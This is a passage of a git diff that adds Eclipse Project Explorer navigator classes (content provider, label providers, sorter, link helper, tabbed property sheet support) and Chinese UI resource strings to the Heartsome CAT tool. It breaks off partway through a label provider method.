\u5de5\u4f5c\u96c6\uff1a{0} +resources_ProjectExplorer_toolTip2= {0} - \u5de5\u4f5c\u96c6\uff1a{1} +resources_ProjectExplorer_toolTip3= {0}/{1} +resources_ProjectExplorerPart_workspace=\u5de5\u4f5c\u7a7a\u95f4 +resources_ProjectExplorerPart_workingSetModel=\u5de5\u4f5c\u96c6 +actions_ResourceMgmtActionProvider_logTitle= \u7c7b {0} \u51fa\u73b0\u5f02\u5e38\u3002\u8fd0\u884c\u65f6\u5806\u6808\uff1a{1} + +actions_CopyAction_msgTitle = \u590d\u5236\u51fa\u73b0\u9519\u8bef +actions_CopyAction_msg = \u590d\u5236\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +actions_EditActionGroup_pasteAction = \u7c98\u8d34 +actions_EditActionGroup_copyAction = \u590d\u5236 +actions_EditActionGroup_deleteAction = \u5220\u9664 +actions_OpenActionProvider_openFileAction = \u6253\u5f00\u6587\u4ef6 +actions_OpenFileWithValidAction_notFindProgram = \u65e0\u6cd5\u6253\u5f00\u6b64\u6587\u4ef6\uff1a\u6587\u4ef6\u683c\u5f0f {0} \u6ca1\u6709\u5173\u8054\u7684\u5e94\u7528\u7a0b\u5e8f\u3002\n\u8bf7\u5728\u7cfb\u7edf\u4e2d\u4e3a\u8be5\u6587\u4ef6\u683c\u5f0f\u8bbe\u7f6e\u5173\u8054\u7a0b\u5e8f\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +actions_RefactorActionGroup_moveAction = \u79fb\u52a8... +actions_RefactorActionGroup_renameAction = \u91cd\u547d\u540d... +actions_ResourceMgmtActionProvider_openProjectAction = \u6fc0\u6d3b\u9879\u76ee +actions_ResourceMgmtActionProvider_closeProjectAction = \u5173\u95ed\u9879\u76ee +actions_ResourceMgmtActionProvider_refreshAction = \u5237\u65b0 diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionContentProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionContentProvider.java new file mode 100644 index 0000000..37c68dc --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionContentProvider.java @@ -0,0 +1,311 @@ +/******************************************************************************* + * Copyright (c) 2003, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.workbench; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Iterator; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IResourceDelta; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.viewers.AbstractTreeViewer; +import org.eclipse.jface.viewers.StructuredViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.swt.widgets.Control; +import org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin; +import org.eclipse.ui.model.WorkbenchContentProvider; + +/** + * @since 3.2 + */ +public class ResourceExtensionContentProvider extends WorkbenchContentProvider { + + private static final Object[] NO_CHILDREN = new Object[0]; + private Viewer viewer; + + /** + * + */ + public ResourceExtensionContentProvider() { + super(); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.model.BaseWorkbenchContentProvider#getElements(java.lang.Object) + */ + public Object[] getElements(Object element) { + return super.getChildren(element); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.model.BaseWorkbenchContentProvider#getChildren(java.lang.Object) + */ + public Object[] getChildren(Object element) { + if(element instanceof IResource) + return super.getChildren(element); + return NO_CHILDREN; + } + + /* (non-Javadoc) + * @see org.eclipse.ui.model.BaseWorkbenchContentProvider#hasChildren(java.lang.Object) + */ + public boolean hasChildren(Object element) { + try { + if (element instanceof IContainer) { + IContainer c = (IContainer) element; + if (!c.isAccessible()) + return false; + return c.members().length > 0; + } + } catch (CoreException ex) { + WorkbenchNavigatorPlugin.getDefault().getLog().log( + new Status(IStatus.ERROR, WorkbenchNavigatorPlugin.PLUGIN_ID, 0, ex.getMessage(), ex)); + return false; + } + + return super.hasChildren(element); + } + + /* (non-Javadoc) + * @see org.eclipse.ui.model.WorkbenchContentProvider#inputChanged(org.eclipse.jface.viewers.Viewer, java.lang.Object, java.lang.Object) + */ + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + super.inputChanged(viewer, oldInput, newInput); + this.viewer = viewer; + } + + + /** + * Process the resource delta. + * + * @param delta + */ + protected void processDelta(IResourceDelta delta) { + + Control ctrl = viewer.getControl(); + if (ctrl == null || ctrl.isDisposed()) { + return; + } + + + final Collection runnables = new ArrayList(); + processDelta(delta, runnables); + + if (runnables.isEmpty()) { + return; + } + + //Are we in the UIThread? If so spin it until we are done + if (ctrl.getDisplay().getThread() == Thread.currentThread()) { + runUpdates(runnables); + } else { + ctrl.getDisplay().asyncExec(new Runnable(){ + /* (non-Javadoc) + * @see java.lang.Runnable#run() + */ + public void run() { + //Abort if this happens after disposes + Control ctrl = viewer.getControl(); + if (ctrl == null || ctrl.isDisposed()) { + return; + } + + runUpdates(runnables); + } + }); + } + + } + + /** + * Process a resource delta. Add any runnables + */ + private void processDelta(IResourceDelta delta, Collection runnables) { + //he widget may have been destroyed + // by the time this is run. Check for this and do nothing if so. + Control ctrl = viewer.getControl(); + if (ctrl == null || ctrl.isDisposed()) { + return; + } + + // Get the affected resource + final IResource resource = delta.getResource(); + + // If any children have changed type, just do a full refresh of this + // parent, + // since a simple update on such children won't work, + // and trying to map the change to a remove and add is too dicey. + // The case is: folder A renamed to existing file B, answering yes to + // overwrite B. + IResourceDelta[] affectedChildren = delta + .getAffectedChildren(IResourceDelta.CHANGED); + for (int i = 0; i < affectedChildren.length; i++) { + if ((affectedChildren[i].getFlags() & IResourceDelta.TYPE) != 0) { + runnables.add(getRefreshRunnable(resource)); + return; + } + } + + // Check the flags for changes the Navigator cares about. + // See ResourceLabelProvider for the aspects it cares about. + // Notice we don't care about F_CONTENT or F_MARKERS currently. + int changeFlags = delta.getFlags(); + if ((changeFlags & (IResourceDelta.OPEN | IResourceDelta.SYNC + | IResourceDelta.TYPE | IResourceDelta.DESCRIPTION)) != 0) { +// Runnable updateRunnable = new Runnable(){ +// public void run() { +// ((StructuredViewer) viewer).update(resource, null); +// } +// }; +// runnables.add(updateRunnable); + + /* support the Closed Projects filter; + * when a project is closed, it may need to be removed from the view. + */ + runnables.add(getRefreshRunnable(resource.getParent())); + } + // Replacing a resource may affect its label and its children + if ((changeFlags & IResourceDelta.REPLACED) != 0) { + runnables.add(getRefreshRunnable(resource)); + return; + } + + + // Handle changed children . + for (int i = 0; i < affectedChildren.length; i++) { + processDelta(affectedChildren[i], runnables); + } + + // @issue several problems here: + // - should process removals before additions, to avoid multiple equal + // elements in viewer + // - Kim: processing removals before additions was the indirect cause of + // 44081 and its varients + // - Nick: no delta should have an add and a remove on the same element, + // so processing adds first is probably OK + // - using setRedraw will cause extra flashiness + // - setRedraw is used even for simple changes + // - to avoid seeing a rename in two stages, should turn redraw on/off + // around combined removal and addition + // - Kim: done, and only in the case of a rename (both remove and add + // changes in one delta). + + IResourceDelta[] addedChildren = delta + .getAffectedChildren(IResourceDelta.ADDED); + IResourceDelta[] removedChildren = delta + .getAffectedChildren(IResourceDelta.REMOVED); + + if (addedChildren.length == 0 && removedChildren.length == 0) { + return; + } + + final Object[] addedObjects; + final Object[] removedObjects; + + // Process additions before removals as to not cause selection + // preservation prior to new objects being added + // Handle added children. Issue one update for all insertions. + int numMovedFrom = 0; + int numMovedTo = 0; + if (addedChildren.length > 0) { + addedObjects = new Object[addedChildren.length]; + for (int i = 0; i < addedChildren.length; i++) { + addedObjects[i] = addedChildren[i].getResource(); + if ((addedChildren[i].getFlags() & IResourceDelta.MOVED_FROM) != 0) { + ++numMovedFrom; + } + } + } else { + addedObjects = new Object[0]; + } + + // Handle removed children. Issue one update for all removals. + if (removedChildren.length > 0) { + removedObjects = new Object[removedChildren.length]; + for (int i = 0; i < removedChildren.length; i++) { + removedObjects[i] = removedChildren[i].getResource(); + if ((removedChildren[i].getFlags() & IResourceDelta.MOVED_TO) != 0) { + ++numMovedTo; + } + } + } else { + removedObjects = new Object[0]; + } + // heuristic test for items moving within same folder (i.e. renames) + final boolean hasRename = numMovedFrom > 0 && numMovedTo > 0; + + Runnable addAndRemove = new Runnable(){ + public void run() { + if (viewer instanceof AbstractTreeViewer) { + AbstractTreeViewer treeViewer = (AbstractTreeViewer) viewer; + // Disable redraw until the operation is finished so we don't + // get a flash of both the new and old item (in the case of + // rename) + // Only do this if we're both adding and removing files (the + // rename case) + if (hasRename) { + treeViewer.getControl().setRedraw(false); + } + try { + if (addedObjects.length > 0) { + treeViewer.add(resource, addedObjects); + } + if (removedObjects.length > 0) { + treeViewer.remove(removedObjects); + } + } + finally { + if (hasRename) { + treeViewer.getControl().setRedraw(true); + } + } + } else { + ((StructuredViewer) viewer).refresh(resource); + } + } + }; + runnables.add(addAndRemove); + } + + /** + * Return a runnable for refreshing a resource. + * @param resource + * @return Runnable + */ + private Runnable getRefreshRunnable(final IResource resource) { + return new Runnable(){ + public void run() { + ((StructuredViewer) viewer).refresh(resource); + } + }; + } + + /** + * Run all of the runnables that are the widget updates + * @param runnables + */ + private void runUpdates(Collection runnables) { + Iterator runnableIterator = runnables.iterator(); + while(runnableIterator.hasNext()){ + ((Runnable)runnableIterator.next()).run(); + } + + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionLabelProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionLabelProvider.java new file mode 100644 index 0000000..860de43 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionLabelProvider.java @@ -0,0 +1,50 @@ +/******************************************************************************* + * Copyright (c) 2003, 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.workbench; + +import org.eclipse.core.resources.IResource; +import org.eclipse.ui.IMemento; +import org.eclipse.ui.model.WorkbenchLabelProvider; +import org.eclipse.ui.navigator.ICommonContentExtensionSite; +import org.eclipse.ui.navigator.ICommonLabelProvider; + +/** + *

    + * EXPERIMENTAL. This class or interface has been added as + * part of a work in progress. There is a guarantee neither that this API will + * work nor that it will remain the same. Please do not use this API without + * consulting with the Platform/UI team. + *

    + * @since 3.2 + */ +public class ResourceExtensionLabelProvider extends WorkbenchLabelProvider implements ICommonLabelProvider { + + + public void init(ICommonContentExtensionSite aConfig) { + //init + } + + + public String getDescription(Object anElement) { + + if (anElement instanceof IResource) { + return ((IResource) anElement).getFullPath().makeRelative().toString(); + } + return null; + } + + public void restoreState(IMemento aMemento) { + + } + + public void saveState(IMemento aMemento) { + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionSorter.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionSorter.java new file mode 100644 index 0000000..a3c7904 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceExtensionSorter.java @@ -0,0 +1,38 @@ +/******************************************************************************* + * Copyright (c) 2006, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.workbench; + +// Sadly, there is nothing that can be done about these warnings, as +// the INavigatorSorterService has a method that returns a ViewerSorter, so +// we can't convert this to a ViewerComparator. +import org.eclipse.ui.views.navigator.ResourceSorter; + +/** + * TODO - This refers to the deprecated ResourceSorter, however we are stuck with this + * for the time being because the CommonSorter extension point uses a ViewerSorter. + * We should provide an option for a ViewerComparator and then we can remove this + * class. + * + * @since 3.2 + * + */ +public class ResourceExtensionSorter extends ResourceSorter { + + /** + * Construct a sorter that uses the name of the resource as its sorting + * criteria. + * + */ + public ResourceExtensionSorter() { + super(ResourceSorter.NAME); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceLinkHelper.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceLinkHelper.java new file mode 100644 index 0000000..a374dbd --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/ResourceLinkHelper.java @@ -0,0 +1,60 @@ +/******************************************************************************* + * Copyright (c) 2006, 2007 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.workbench; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.ide.ResourceUtil; +import org.eclipse.ui.navigator.ILinkHelper; +import org.eclipse.ui.part.FileEditorInput; + +/** + * + * Links IFileEditorInput to IFiles, and vice versa. + * + * @since 3.2 + * + */ +public class ResourceLinkHelper implements ILinkHelper { + + /* (non-Javadoc) + * @see org.eclipse.ui.navigator.ILinkHelper#findSelection(org.eclipse.ui.IEditorInput) + */ + public IStructuredSelection findSelection(IEditorInput anInput) { + IFile file = ResourceUtil.getFile(anInput); + if (file != null) { + return new StructuredSelection(file); + } + return StructuredSelection.EMPTY; + } + + /* (non-Javadoc) + * @see org.eclipse.ui.navigator.ILinkHelper#activateEditor(org.eclipse.ui.IWorkbenchPage, org.eclipse.jface.viewers.IStructuredSelection) + */ + public void activateEditor(IWorkbenchPage aPage, + IStructuredSelection aSelection) { + if (aSelection == null || aSelection.isEmpty()) + return; + if (aSelection.getFirstElement() instanceof IFile) { + IEditorInput fileInput = new FileEditorInput((IFile) aSelection.getFirstElement()); + IEditorPart editor = null; + if ((editor = aPage.findEditor(fileInput)) != null) + aPage.bringToTop(editor); + } + + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetAdapterFactory.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetAdapterFactory.java new file mode 100644 index 0000000..4ea9453 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetAdapterFactory.java @@ -0,0 +1,53 @@ +/******************************************************************************* + * Copyright (c) 2006, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.workbench; + +import org.eclipse.core.runtime.IAdapterFactory; +import org.eclipse.ui.navigator.CommonNavigator; +import org.eclipse.ui.navigator.resources.ProjectExplorer; +import org.eclipse.ui.views.properties.IPropertySheetPage; +import org.eclipse.ui.views.properties.tabbed.TabbedPropertySheetPage; + +/** + * An property sheet page adapter factory for the Project Explorer. + * + * @since 3.2 + */ +public class TabbedPropertySheetAdapterFactory + implements IAdapterFactory { + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.runtime.IAdapterFactory#getAdapter(java.lang.Object, + * java.lang.Class) + */ + public Object getAdapter(Object adaptableObject, Class adapterType) { + if (adaptableObject instanceof ProjectExplorer) { + if (IPropertySheetPage.class == adapterType) + return new TabbedPropertySheetPage( + new TabbedPropertySheetProjectExplorerContributor( + (CommonNavigator) adaptableObject)); + } + return null; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.core.runtime.IAdapterFactory#getAdapterList() + */ + public Class[] getAdapterList() { + return new Class[] {IPropertySheetPage.class}; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetProjectExplorerContributor.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetProjectExplorerContributor.java new file mode 100644 index 0000000..2eb2b3e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetProjectExplorerContributor.java @@ -0,0 +1,38 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.workbench; + +import org.eclipse.ui.navigator.CommonNavigator; +import org.eclipse.ui.views.properties.tabbed.ITabbedPropertySheetPageContributor; + +/** + * A tabbed property view contributor for the Project Explorer. + * + * @since 3.2 + */ +public class TabbedPropertySheetProjectExplorerContributor implements + ITabbedPropertySheetPageContributor { + + private final String contributorId; + + protected TabbedPropertySheetProjectExplorerContributor(CommonNavigator aCommonNavigator) { + contributorId = aCommonNavigator.getViewSite().getId(); + } + + /* (non-Javadoc) + * @see org.eclipse.ui.views.properties.tabbed.ITabbedPropertySheetPageContributor#getContributorId() + */ + public String getContributorId() { + return contributorId; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetTitleProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetTitleProvider.java new file mode 100644 index 0000000..2a7371e --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/TabbedPropertySheetTitleProvider.java @@ -0,0 +1,71 @@ +/******************************************************************************* + * Copyright (c) 2006, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.workbench; + +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.swt.graphics.Image; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin; +import org.eclipse.ui.navigator.IDescriptionProvider; +import org.eclipse.ui.navigator.INavigatorContentService; +import org.eclipse.ui.navigator.resources.ProjectExplorer; + +/** + * Defines a label provider for the title bar in the tabbed properties view. + * + * @since 3.2 + */ +public class TabbedPropertySheetTitleProvider extends LabelProvider { + + private ILabelProvider labelProvider; + + private IDescriptionProvider descriptionProvider; + + /** + * Constructor for CommonNavigatorTitleProvider. + */ + public TabbedPropertySheetTitleProvider() { + super(); + IWorkbenchPart part = PlatformUI.getWorkbench() + .getActiveWorkbenchWindow().getActivePage().findView(ProjectExplorer.VIEW_ID); + + INavigatorContentService contentService = (INavigatorContentService) part + .getAdapter(INavigatorContentService.class); + + if (contentService != null) { + labelProvider = contentService.createCommonLabelProvider(); + descriptionProvider = contentService + .createCommonDescriptionProvider(); + } else { + WorkbenchNavigatorPlugin.log( + "Could not acquire INavigatorContentService from part (\"" //$NON-NLS-1$ + + part.getTitle() + "\").", null); //$NON-NLS-1$ + } + } + + /** + * @see org.eclipse.jface.viewers.ILabelProvider#getImage(java.lang.Object) + */ + public Image getImage(Object object) { + return labelProvider != null ? labelProvider.getImage(object) : null; + } + + /** + * @see org.eclipse.jface.viewers.ILabelProvider#getText(java.lang.Object) + */ + public String getText(Object object) { + return descriptionProvider != null ? descriptionProvider + .getDescription(object) : null; + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/WorkbenchLabelProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/WorkbenchLabelProvider.java new file mode 100644 index 0000000..c7e49b0 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/workbench/WorkbenchLabelProvider.java @@ -0,0 +1,302 @@ +/******************************************************************************* + * Copyright (c) 2000, 2011 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Fair Isaac Corporation - http://bugs.eclipse.org/326695 + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.workbench; + +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.jface.resource.ColorDescriptor; +import org.eclipse.jface.resource.FontDescriptor; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.resource.LocalResourceManager; +import org.eclipse.jface.resource.ResourceManager; +import org.eclipse.jface.viewers.DecoratingLabelProvider; +import org.eclipse.jface.viewers.DelegatingStyledCellLabelProvider.IStyledLabelProvider; +import org.eclipse.jface.viewers.IColorProvider; +import org.eclipse.jface.viewers.IFontProvider; +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.LabelProviderChangedEvent; +import org.eclipse.jface.viewers.StyledCellLabelProvider; +import org.eclipse.jface.viewers.StyledString; +import org.eclipse.jface.viewers.StyledString.Styler; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IPropertyListener; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.util.Util; +import org.eclipse.ui.model.IWorkbenchAdapter; +import org.eclipse.ui.model.IWorkbenchAdapter2; +import org.eclipse.ui.model.IWorkbenchAdapter3; +import org.eclipse.ui.plugin.AbstractUIPlugin; + +/** + * Provides basic labels for adaptable objects that have the IWorkbenchAdapter adapter associated with + * them. All dispensed images are cached until the label provider is explicitly disposed. This class provides a facility + * for subclasses to define annotations on the labels and icons of adaptable objects. + */ +public class WorkbenchLabelProvider extends LabelProvider implements IColorProvider, IFontProvider, + IStyledLabelProvider { + + /** + * Returns a workbench label provider that is hooked up to the decorator mechanism. + * @return a new DecoratingLabelProvider which wraps a + * new WorkbenchLabelProvider + */ + public static ILabelProvider getDecoratingWorkbenchLabelProvider() { + return new DecoratingLabelProvider(new WorkbenchLabelProvider(), PlatformUI.getWorkbench() + .getDecoratorManager().getLabelDecorator()); + } + + /** + * Listener that tracks changes to the editor registry and does a full update when it changes, since many workbench + * adapters derive their icon from the file associations in the registry. + */ + private IPropertyListener editorRegistryListener = new IPropertyListener() { + public void propertyChanged(Object source, int propId) { + if (propId == IEditorRegistry.PROP_CONTENTS) { + fireLabelProviderChanged(new LabelProviderChangedEvent(WorkbenchLabelProvider.this)); + } + } + }; + private ResourceManager resourceManager; + + /** + * Creates a new workbench label provider. + */ + public WorkbenchLabelProvider() { + PlatformUI.getWorkbench().getEditorRegistry().addPropertyListener(editorRegistryListener); + } + + /** + * Returns an image descriptor that is based on the given descriptor, but decorated with additional information + * relating to the state of the provided object. Subclasses may reimplement this method to decorate an object's + * image. + * @param input + * The base image to decorate. + * @param element + * The element used to look up decorations. + * @return the resuling ImageDescriptor. + * @see org.eclipse.jface.resource.CompositeImageDescriptor + */ + protected ImageDescriptor decorateImage(ImageDescriptor input, Object element) { + return input; + } + + /** + * Returns a label that is based on the given label, but decorated with additional information relating to the state + * of the provided object. Subclasses may implement this method to decorate an object's label. + * @param input + * The base text to decorate. + * @param element + * The element used to look up decorations. + * @return the resulting text + */ + protected String decorateText(String input, Object element) { + return input; + } + + /* + * (non-Javadoc) Method declared on ILabelProvider + */ + public void dispose() { + PlatformUI.getWorkbench().getEditorRegistry().removePropertyListener(editorRegistryListener); + if (resourceManager != null) + resourceManager.dispose(); + resourceManager = null; + super.dispose(); + } + + /** + * Returns the implementation of IWorkbenchAdapter for the given object. + * @param o + * the object to look up. + * @return IWorkbenchAdapter ornull if the adapter is not defined or the object is not adaptable. + */ + protected final IWorkbenchAdapter getAdapter(Object o) { + return (IWorkbenchAdapter) Util.getAdapter(o, IWorkbenchAdapter.class); + } + + /** + * Returns the implementation of IWorkbenchAdapter2 for the given object. + * @param o + * the object to look up. + * @return IWorkbenchAdapter2 ornull if the adapter is not defined or the object is not adaptable. + */ + protected final IWorkbenchAdapter2 getAdapter2(Object o) { + return (IWorkbenchAdapter2) Util.getAdapter(o, IWorkbenchAdapter2.class); + } + + /** + * Returns the implementation of IWorkbenchAdapter3 for the given object. + * @param o + * the object to look up. + * @return IWorkbenchAdapter3 ornull if the adapter is not defined or the object is not adaptable. + * @since 3.7 + */ + protected final IWorkbenchAdapter3 getAdapter3(Object o) { + return (IWorkbenchAdapter3) Util.getAdapter(o, IWorkbenchAdapter3.class); + } + + /** + * Lazy load the resource manager + * @return The resource manager, create one if necessary + */ + private ResourceManager getResourceManager() { + if (resourceManager == null) { + resourceManager = new LocalResourceManager(JFaceResources.getResources()); + } + + return resourceManager; + } + + /* + * (non-Javadoc) Method declared on ILabelProvider + */ + public final Image getImage(Object element) { + // obtain the base image by querying the element + ImageDescriptor descriptor = null; + if (element instanceof IProject) { + IProject project = (IProject) element; + if (project.isOpen()) { + descriptor = AbstractUIPlugin.imageDescriptorFromPlugin( + "net.heartsome.cat.common.ui.navigator.resources", "icons/full/obj16/prj_open.png"); + }else { + descriptor = AbstractUIPlugin.imageDescriptorFromPlugin( + "net.heartsome.cat.common.ui.navigator.resources", "icons/full/obj16/prj_close.png"); + } + } else if(element instanceof IFolder){ + descriptor = AbstractUIPlugin.imageDescriptorFromPlugin( + "net.heartsome.cat.common.ui.navigator.resources", "icons/full/obj16/folder.png"); + } + + else { + IWorkbenchAdapter adapter = getAdapter(element); + if (adapter == null) { + return null; + } + descriptor = adapter.getImageDescriptor(element); + if (descriptor == null) { + return null; + } + + // add any annotations to the image descriptor + descriptor = decorateImage(descriptor, element); + } + return (Image) getResourceManager().get(descriptor); + } + + /** + * The default implementation of this returns the styled text label for the given element. + * @param element + * the element to evaluate the styled string for + * @return the styled string. + * @since 3.7 + */ + public StyledString getStyledText(Object element) { + IWorkbenchAdapter3 adapter = getAdapter3(element); + if (adapter == null) { + // If adapter class doesn't implement IWorkbenchAdapter3 than use + // StyledString with text of element. Since the output of getText is + // already decorated, so we don't need to call decorateText again + // here. + return new StyledString(getText(element)); + } + StyledString styledString = adapter.getStyledText(element); + // Now, re-use any existing decorateText implementation, to decorate + // this styledString. + String decorated = decorateText(styledString.getString(), element); + Styler styler = getDecorationStyle(element); + return StyledCellLabelProvider.styleDecoratedString(decorated, styler, styledString); + } + + /** + * Sets the {@link org.eclipse.jface.viewers.StyledString.Styler} to be used for string decorations. By default the + * {@link StyledString#DECORATIONS_STYLER decoration style}. Clients can override. + * @param element + * the element that has been decorated + * @return return the decoration style + * @since 3.7 + */ + protected Styler getDecorationStyle(Object element) { + return StyledString.DECORATIONS_STYLER; + } + + /* + * (non-Javadoc) Method declared on ILabelProvider + */ + public final String getText(Object element) { + // query the element for its label + IWorkbenchAdapter adapter = getAdapter(element); + if (adapter == null) { + return ""; //$NON-NLS-1$ + } + String label = adapter.getLabel(element); + + // return the decorated label + return decorateText(label, element); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.IColorProvider#getForeground(java.lang.Object) + */ + public Color getForeground(Object element) { + return getColor(element, true); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.IColorProvider#getBackground(java.lang.Object) + */ + public Color getBackground(Object element) { + return getColor(element, false); + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.IFontProvider#getFont(java.lang.Object) + */ + public Font getFont(Object element) { + IWorkbenchAdapter2 adapter = getAdapter2(element); + if (adapter == null) { + return null; + } + + FontData descriptor = adapter.getFont(element); + if (descriptor == null) { + return null; + } + + return (Font) getResourceManager().get(FontDescriptor.createFrom(descriptor)); + } + + private Color getColor(Object element, boolean forground) { + 